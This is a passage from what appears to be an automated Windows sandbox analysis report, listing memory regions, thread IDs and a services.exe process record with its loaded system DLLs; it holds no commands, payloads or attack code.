	        filename = ""

Region:
	              id = 2016
	        start_va = 0xc500030000
	          end_va = 0xc50004ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500030000"
	        filename = ""

Region:
	              id = 2017
	        start_va = 0xc500050000
	          end_va = 0xc50006ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500050000"
	        filename = ""

Region:
	              id = 2018
	        start_va = 0xc500070000
	          end_va = 0xc50008ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500070000"
	        filename = ""

Region:
	              id = 2019
	        start_va = 0xc500090000
	          end_va = 0xc5000affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500090000"
	        filename = ""

Region:
	              id = 2020
	        start_va = 0xc5000b0000
	          end_va = 0xc5000cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5000b0000"
	        filename = ""

Region:
	              id = 2021
	        start_va = 0xc5000d0000
	          end_va = 0xc5000effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5000d0000"
	        filename = ""

Region:
	              id = 2022
	        start_va = 0xc5000f0000
	          end_va = 0xc50010ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5000f0000"
	        filename = ""

Region:
	              id = 2023
	        start_va = 0xc500110000
	          end_va = 0xc50012ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500110000"
	        filename = ""

Region:
	              id = 2024
	        start_va = 0xc500130000
	          end_va = 0xc50014ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500130000"
	        filename = ""

Region:
	              id = 2025
	        start_va = 0xc500150000
	          end_va = 0xc50016ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500150000"
	        filename = ""

Region:
	              id = 2026
	        start_va = 0xc500170000
	          end_va = 0xc50018ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500170000"
	        filename = ""

Region:
	              id = 2027
	        start_va = 0xc500190000
	          end_va = 0xc5001affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500190000"
	        filename = ""

Region:
	              id = 2028
	        start_va = 0xc5001b0000
	          end_va = 0xc5001cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5001b0000"
	        filename = ""

Region:
	              id = 2029
	        start_va = 0xc5001d0000
	          end_va = 0xc5001effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5001d0000"
	        filename = ""

Region:
	              id = 2030
	        start_va = 0xc5001f0000
	          end_va = 0xc50020ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5001f0000"
	        filename = ""

Region:
	              id = 2031
	        start_va = 0xc500210000
	          end_va = 0xc50022ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500210000"
	        filename = ""

Region:
	              id = 2032
	        start_va = 0xc500230000
	          end_va = 0xc50024ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500230000"
	        filename = ""

Region:
	              id = 2033
	        start_va = 0xc500250000
	          end_va = 0xc50026ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500250000"
	        filename = ""

Region:
	              id = 2034
	        start_va = 0xc500270000
	          end_va = 0xc50028ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500270000"
	        filename = ""

Region:
	              id = 2035
	        start_va = 0xc500290000
	          end_va = 0xc5002affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500290000"
	        filename = ""

Region:
	              id = 2036
	        start_va = 0xc5002b0000
	          end_va = 0xc5002cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5002b0000"
	        filename = ""

Region:
	              id = 2037
	        start_va = 0xc5002d0000
	          end_va = 0xc5002effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5002d0000"
	        filename = ""

Region:
	              id = 2038
	        start_va = 0xc5002f0000
	          end_va = 0xc50030ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5002f0000"
	        filename = ""

Region:
	              id = 2039
	        start_va = 0xc500310000
	          end_va = 0xc50032ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500310000"
	        filename = ""

Region:
	              id = 2040
	        start_va = 0xc500330000
	          end_va = 0xc50034ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500330000"
	        filename = ""

Region:
	              id = 2041
	        start_va = 0xc500350000
	          end_va = 0xc50036ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500350000"
	        filename = ""

Region:
	              id = 2042
	        start_va = 0xc500370000
	          end_va = 0xc50038ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500370000"
	        filename = ""

Region:
	              id = 2043
	        start_va = 0xc500390000
	          end_va = 0xc5003affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500390000"
	        filename = ""

Region:
	              id = 2044
	        start_va = 0xc5003b0000
	          end_va = 0xc5003cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5003b0000"
	        filename = ""

Region:
	              id = 2045
	        start_va = 0xc5003d0000
	          end_va = 0xc5003effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5003d0000"
	        filename = ""

Region:
	              id = 2046
	        start_va = 0xc5003f0000
	          end_va = 0xc50040ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5003f0000"
	        filename = ""

Region:
	              id = 2047
	        start_va = 0xc500410000
	          end_va = 0xc50042ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500410000"
	        filename = ""

Region:
	              id = 2048
	        start_va = 0xc500430000
	          end_va = 0xc50044ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500430000"
	        filename = ""

Region:
	              id = 2049
	        start_va = 0xc500450000
	          end_va = 0xc50046ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500450000"
	        filename = ""

Region:
	              id = 2050
	        start_va = 0xc500470000
	          end_va = 0xc50048ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500470000"
	        filename = ""

Region:
	              id = 2051
	        start_va = 0xc500490000
	          end_va = 0xc5004affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500490000"
	        filename = ""

Region:
	              id = 2052
	        start_va = 0xc5004b0000
	          end_va = 0xc5004cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5004b0000"
	        filename = ""

Region:
	              id = 2053
	        start_va = 0xc5004d0000
	          end_va = 0xc5004effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5004d0000"
	        filename = ""

Region:
	              id = 2054
	        start_va = 0xc5004f0000
	          end_va = 0xc50050ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5004f0000"
	        filename = ""

Region:
	              id = 2055
	        start_va = 0xc500510000
	          end_va = 0xc50052ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500510000"
	        filename = ""

Region:
	              id = 2056
	        start_va = 0xc500530000
	          end_va = 0xc50054ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500530000"
	        filename = ""

Region:
	              id = 2057
	        start_va = 0xc500550000
	          end_va = 0xc50056ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500550000"
	        filename = ""

Region:
	              id = 2058
	        start_va = 0xc500570000
	          end_va = 0xc50058ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500570000"
	        filename = ""

Region:
	              id = 2059
	        start_va = 0xc500590000
	          end_va = 0xc5005affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500590000"
	        filename = ""

Region:
	              id = 2060
	        start_va = 0xc5005b0000
	          end_va = 0xc5005cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5005b0000"
	        filename = ""

Region:
	              id = 2061
	        start_va = 0xc5005d0000
	          end_va = 0xc5005effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5005d0000"
	        filename = ""

Region:
	              id = 2062
	        start_va = 0xc5005f0000
	          end_va = 0xc50060ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5005f0000"
	        filename = ""

Region:
	              id = 2063
	        start_va = 0xc500610000
	          end_va = 0xc50062ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500610000"
	        filename = ""

Region:
	              id = 2064
	        start_va = 0xc500630000
	          end_va = 0xc50064ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500630000"
	        filename = ""

Region:
	              id = 2065
	        start_va = 0xc500650000
	          end_va = 0xc50066ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500650000"
	        filename = ""

Region:
	              id = 2066
	        start_va = 0xc500670000
	          end_va = 0xc50068ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500670000"
	        filename = ""

Region:
	              id = 2067
	        start_va = 0xc500690000
	          end_va = 0xc5006affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500690000"
	        filename = ""

Region:
	              id = 2068
	        start_va = 0xc5006b0000
	          end_va = 0xc5006cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5006b0000"
	        filename = ""

Region:
	              id = 2069
	        start_va = 0xc5006d0000
	          end_va = 0xc5006effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5006d0000"
	        filename = ""

Region:
	              id = 2070
	        start_va = 0xc5006f0000
	          end_va = 0xc50070ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5006f0000"
	        filename = ""

Region:
	              id = 2071
	        start_va = 0xc500710000
	          end_va = 0xc50072ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500710000"
	        filename = ""

Region:
	              id = 2072
	        start_va = 0xc500730000
	          end_va = 0xc50074ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500730000"
	        filename = ""

Region:
	              id = 2073
	        start_va = 0xc500750000
	          end_va = 0xc50076ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500750000"
	        filename = ""

Region:
	              id = 2074
	        start_va = 0xc500770000
	          end_va = 0xc50078ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500770000"
	        filename = ""

Region:
	              id = 2075
	        start_va = 0xc500790000
	          end_va = 0xc5007affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500790000"
	        filename = ""

Region:
	              id = 2076
	        start_va = 0xc5007b0000
	          end_va = 0xc5007cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5007b0000"
	        filename = ""

Region:
	              id = 2077
	        start_va = 0xc5007d0000
	          end_va = 0xc5007effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5007d0000"
	        filename = ""

Region:
	              id = 2078
	        start_va = 0xc5007f0000
	          end_va = 0xc50080ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5007f0000"
	        filename = ""

Region:
	              id = 2079
	        start_va = 0xc500810000
	          end_va = 0xc50082ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500810000"
	        filename = ""

Region:
	              id = 2080
	        start_va = 0xc500830000
	          end_va = 0xc50084ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500830000"
	        filename = ""

Region:
	              id = 2081
	        start_va = 0xc500850000
	          end_va = 0xc50086ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500850000"
	        filename = ""

Region:
	              id = 2082
	        start_va = 0xc500870000
	          end_va = 0xc50088ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500870000"
	        filename = ""

Region:
	              id = 2083
	        start_va = 0xc500890000
	          end_va = 0xc5008affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500890000"
	        filename = ""

Region:
	              id = 2084
	        start_va = 0xc5008b0000
	          end_va = 0xc5008cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5008b0000"
	        filename = ""

Region:
	              id = 2085
	        start_va = 0xc5008d0000
	          end_va = 0xc5008effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5008d0000"
	        filename = ""

Region:
	              id = 2086
	        start_va = 0xc5008f0000
	          end_va = 0xc50090ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c5008f0000"
	        filename = ""

Region:
	              id = 2087
	        start_va = 0xc500910000
	          end_va = 0xc50092ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500910000"
	        filename = ""

Region:
	              id = 2088
	        start_va = 0xc500930000
	          end_va = 0xc50094ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500930000"
	        filename = ""

Region:
	              id = 2089
	        start_va = 0xc500950000
	          end_va = 0xc50096ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500950000"
	        filename = ""

Region:
	              id = 2090
	        start_va = 0xc500970000
	          end_va = 0xc50098ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500970000"
	        filename = ""

Region:
	              id = 2091
	        start_va = 0xc500990000
	          end_va = 0xc5009affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000c500990000"
	        filename = ""

Region:
	              id = 2092
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 118
	os_tid = 0xc7c


Thread:
	id = 119
	os_tid = 0x2c


Thread:
	id = 120
	os_tid = 0x138


Thread:
	id = 121
	os_tid = 0xf08


Thread:
	id = 122
	os_tid = 0x24


Thread:
	id = 123
	os_tid = 0x28


Thread:
	id = 124
	os_tid = 0x1c


Thread:
	id = 125
	os_tid = 0xc50


Thread:
	id = 126
	os_tid = 0xc3c


Thread:
	id = 127
	os_tid = 0xc14


Thread:
	id = 128
	os_tid = 0x134


Thread:
	id = 129
	os_tid = 0x1f4


Thread:
	id = 130
	os_tid = 0x8ac


Thread:
	id = 131
	os_tid = 0xd0


Thread:
	id = 132
	os_tid = 0xcc


Thread:
	id = 133
	os_tid = 0x488


Thread:
	id = 134
	os_tid = 0x80


Thread:
	id = 135
	os_tid = 0x30


Thread:
	id = 136
	os_tid = 0x848


Thread:
	id = 137
	os_tid = 0x6c4


Thread:
	id = 138
	os_tid = 0x2fc


Thread:
	id = 139
	os_tid = 0xb54


Thread:
	id = 140
	os_tid = 0x758


Thread:
	id = 141
	os_tid = 0xb00


Thread:
	id = 142
	os_tid = 0xb0c


Thread:
	id = 143
	os_tid = 0x3c


Thread:
	id = 144
	os_tid = 0x590


Thread:
	id = 145
	os_tid = 0xb78


Thread:
	id = 146
	os_tid = 0xb6c


Thread:
	id = 147
	os_tid = 0x10


Thread:
	id = 148
	os_tid = 0x9bc


Thread:
	id = 149
	os_tid = 0x9b0


Thread:
	id = 150
	os_tid = 0x6c


Thread:
	id = 151
	os_tid = 0x91c


Thread:
	id = 152
	os_tid = 0x914


Thread:
	id = 153
	os_tid = 0x834


Thread:
	id = 154
	os_tid = 0x38


Thread:
	id = 155
	os_tid = 0x4d0


Thread:
	id = 156
	os_tid = 0x610


Thread:
	id = 157
	os_tid = 0xc8


Thread:
	id = 158
	os_tid = 0xc4


Thread:
	id = 159
	os_tid = 0xa8


Thread:
	id = 160
	os_tid = 0x648


Thread:
	id = 161
	os_tid = 0x644


Thread:
	id = 162
	os_tid = 0x62c


Thread:
	id = 163
	os_tid = 0x614


Thread:
	id = 164
	os_tid = 0x5dc


Thread:
	id = 165
	os_tid = 0xb8


Thread:
	id = 166
	os_tid = 0x578


Thread:
	id = 167
	os_tid = 0x56c


Thread:
	id = 168
	os_tid = 0x178


Thread:
	id = 169
	os_tid = 0x48


Thread:
	id = 170
	os_tid = 0x4bc


Thread:
	id = 171
	os_tid = 0x488


Thread:
	id = 172
	os_tid = 0x70


Thread:
	id = 173
	os_tid = 0x474


Thread:
	id = 174
	os_tid = 0xb0


Thread:
	id = 175
	os_tid = 0x144


Thread:
	id = 176
	os_tid = 0x174


Thread:
	id = 177
	os_tid = 0x78


Thread:
	id = 178
	os_tid = 0x74


Thread:
	id = 179
	os_tid = 0x44


Thread:
	id = 180
	os_tid = 0x40


Thread:
	id = 181
	os_tid = 0x8c


Thread:
	id = 182
	os_tid = 0x338


Thread:
	id = 183
	os_tid = 0x2c0


Thread:
	id = 184
	os_tid = 0x168


Thread:
	id = 185
	os_tid = 0x84


Thread:
	id = 186
	os_tid = 0x104


Thread:
	id = 187
	os_tid = 0x7c


Thread:
	id = 188
	os_tid = 0x14


Thread:
	id = 189
	os_tid = 0x1b0


Thread:
	id = 190
	os_tid = 0x20


Thread:
	id = 191
	os_tid = 0x17c


Thread:
	id = 192
	os_tid = 0x170


Thread:
	id = 193
	os_tid = 0x16c


Thread:
	id = 194
	os_tid = 0x160


Thread:
	id = 195
	os_tid = 0xe4


Thread:
	id = 196
	os_tid = 0x140


Thread:
	id = 197
	os_tid = 0x34


Thread:
	id = 198
	os_tid = 0xf0


Thread:
	id = 199
	os_tid = 0xa4


Thread:
	id = 200
	os_tid = 0x128


Thread:
	id = 201
	os_tid = 0x124


Thread:
	id = 202
	os_tid = 0xc0


Thread:
	id = 203
	os_tid = 0x60


Thread:
	id = 204
	os_tid = 0xb4


Thread:
	id = 205
	os_tid = 0x110


Thread:
	id = 206
	os_tid = 0xbc


Thread:
	id = 207
	os_tid = 0x88


Thread:
	id = 208
	os_tid = 0xec


Thread:
	id = 209
	os_tid = 0x64


Thread:
	id = 210
	os_tid = 0x8


Thread:
	id = 211
	os_tid = 0x0


Thread:
	id = 440
	os_tid = 0xbd8


Thread:
	id = 446
	os_tid = 0x618


Thread:
	id = 447
	os_tid = 0x61c


Thread:
	id = 449
	os_tid = 0x18


Thread:
	id = 462
	os_tid = 0xb44


Thread:
	id = 463
	os_tid = 0xe30


Thread:
	id = 464
	os_tid = 0xdb8


Thread:
	id = 465
	os_tid = 0x9b8


Thread:
	id = 466
	os_tid = 0x5c


Thread:
	id = 472
	os_tid = 0xfcc


Thread:
	id = 474
	os_tid = 0x224


Process:
	id = "8"
	image_name = "services.exe"
	filename = "c:\\windows\\system32\\services.exe"
	page_root = "0x27ae3000"
	os_pid = "0x1e4"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "created_daemon"
	parent_id = "5"
	os_parent_pid = "0xcf8"
	cmd_line = "C:\\Windows\\system32\\services.exe"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 1160
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1161
	        start_va = 0xa4161d0000
	          end_va = 0xa4161dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000a4161d0000"
	        filename = ""

Region:
	              id = 1162
	        start_va = 0xa4161e0000
	          end_va = 0xa4161e4fff
	     entry_point = 0xa4161e0000
	     region_type = mapped_file
	            name = "services.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\services.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\services.exe.mui")

Region:
	              id = 1163
	        start_va = 0xa4161f0000
	          end_va = 0xa416203fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000a4161f0000"
	        filename = ""

Region:
	              id = 1164
	        start_va = 0xa416290000
	          end_va = 0xa416293fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000a416290000"
	        filename = ""

Region:
	              id = 1165
	        start_va = 0xa4162a0000
	          end_va = 0xa4162a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000a4162a0000"
	        filename = ""

Region:
	              id = 1166
	        start_va = 0xa4162b0000
	          end_va = 0xa41636dfff
	     entry_point = 0xa4162b0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1167
	        start_va = 0xa416370000
	          end_va = 0xa416370fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a416370000"
	        filename = ""

Region:
	              id = 1168
	        start_va = 0xa4163d0000
	          end_va = 0xa4163d6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a4163d0000"
	        filename = ""

Region:
	              id = 1169
	        start_va = 0xa416400000
	          end_va = 0xa4164fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a416400000"
	        filename = ""

Region:
	              id = 1170
	        start_va = 0xa416580000
	          end_va = 0xa4165fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a416580000"
	        filename = ""

Region:
	              id = 1171
	        start_va = 0xa416600000
	          end_va = 0xa41667ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a416600000"
	        filename = ""

Region:
	              id = 1172
	        start_va = 0xa416680000
	          end_va = 0xa4166fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a416680000"
	        filename = ""

Region:
	              id = 1173
	        start_va = 0xa416750000
	          end_va = 0xa416756fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a416750000"
	        filename = ""

Region:
	              id = 1174
	        start_va = 0xa416800000
	          end_va = 0xa4168fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a416800000"
	        filename = ""

Region:
	              id = 1175
	        start_va = 0xa416980000
	          end_va = 0xa4169fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a416980000"
	        filename = ""

Region:
	              id = 1176
	        start_va = 0xa416b00000
	          end_va = 0xa416b7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a416b00000"
	        filename = ""

Region:
	              id = 1177
	        start_va = 0xa416b80000
	          end_va = 0xa416bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a416b80000"
	        filename = ""

Region:
	              id = 1178
	        start_va = 0xa416c00000
	          end_va = 0xa416cfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000a416c00000"
	        filename = ""

Region:
	              id = 1179
	        start_va = 0x7df5ff8b0000
	          end_va = 0x7ff5ff8affff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff8b0000"
	        filename = ""

Region:
	              id = 1180
	        start_va = 0x7ff64fbc4000
	          end_va = 0x7ff64fbc5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff64fbc4000"
	        filename = ""

Region:
	              id = 1181
	        start_va = 0x7ff64fbc6000
	          end_va = 0x7ff64fbc7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff64fbc6000"
	        filename = ""

Region:
	              id = 1182
	        start_va = 0x7ff64fbcc000
	          end_va = 0x7ff64fbcdfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff64fbcc000"
	        filename = ""

Region:
	              id = 1183
	        start_va = 0x7ff64fbd0000
	          end_va = 0x7ff64fccffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff64fbd0000"
	        filename = ""

Region:
	              id = 1184
	        start_va = 0x7ff64fcd0000
	          end_va = 0x7ff64fcf2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff64fcd0000"
	        filename = ""

Region:
	              id = 1185
	        start_va = 0x7ff64fcf5000
	          end_va = 0x7ff64fcf5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff64fcf5000"
	        filename = ""

Region:
	              id = 1186
	        start_va = 0x7ff64fcf6000
	          end_va = 0x7ff64fcf7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff64fcf6000"
	        filename = ""

Region:
	              id = 1187
	        start_va = 0x7ff64fcf8000
	          end_va = 0x7ff64fcf9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff64fcf8000"
	        filename = ""

Region:
	              id = 1188
	        start_va = 0x7ff64fcfa000
	          end_va = 0x7ff64fcfbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff64fcfa000"
	        filename = ""

Region:
	              id = 1189
	        start_va = 0x7ff650490000
	          end_va = 0x7ff6504fffff
	     entry_point = 0x7ff650490000
	     region_type = mapped_file
	            name = "services.exe"
	        filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe")

Region:
	              id = 1190
	        start_va = 0x7ffbfd180000
	          end_va = 0x7ffbfd18ffff
	     entry_point = 0x7ffbfd180000
	     region_type = mapped_file
	            name = "usermgrcli.dll"
	        filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll")

Region:
	              id = 1191
	        start_va = 0x7ffbff9b0000
	          end_va = 0x7ffbff9f7fff
	     entry_point = 0x7ffbff9b0000
	     region_type = mapped_file
	            name = "authz.dll"
	        filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll")

Region:
	              id = 1192
	        start_va = 0x7ffbffa00000
	          end_va = 0x7ffbffa8dfff
	     entry_point = 0x7ffbffa00000
	     region_type = mapped_file
	            name = "scesrv.dll"
	        filename = "\\Windows\\System32\\scesrv.dll" (normalized: "c:\\windows\\system32\\scesrv.dll")

Region:
	              id = 1193
	        start_va = 0x7ffbffb00000
	          end_va = 0x7ffbffb25fff
	     entry_point = 0x7ffbffb00000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 1194
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 1195
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1196
	        start_va = 0x7ffc00670000
	          end_va = 0x7ffc0068afff
	     entry_point = 0x7ffc00670000
	     region_type = mapped_file
	            name = "spinf.dll"
	        filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll")

Region:
	              id = 1197
	        start_va = 0x7ffc00690000
	          end_va = 0x7ffc006a9fff
	     entry_point = 0x7ffc00690000
	     region_type = mapped_file
	            name = "eventaggregation.dll"
	        filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll")

Region:
	              id = 1198
	        start_va = 0x7ffc006b0000
	          end_va = 0x7ffc006b7fff
	     entry_point = 0x7ffc006b0000
	     region_type = mapped_file
	            name = "dabapi.dll"
	        filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll")

Region:
	              id = 1199
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 1200
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 1201
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1202
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1203
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1204
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1205
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1206
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
